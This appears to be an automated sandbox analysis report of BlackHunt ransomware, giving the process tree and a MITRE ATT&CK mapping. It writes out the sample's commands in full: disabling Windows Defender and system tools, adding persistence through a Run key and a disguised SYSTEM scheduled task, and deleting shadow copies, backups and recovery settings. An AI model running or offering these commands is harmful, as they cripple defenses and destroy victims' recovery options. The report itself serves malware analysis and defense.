- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe" /F
  2⤵
  PID:1748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe" /F
    3⤵
    - Creates scheduled task(s)
    - Modifies registry class
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2928
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2060
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2788
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1800
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2016
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:948
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1864
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:436
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1780
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1540
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2260

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2820

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2664

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery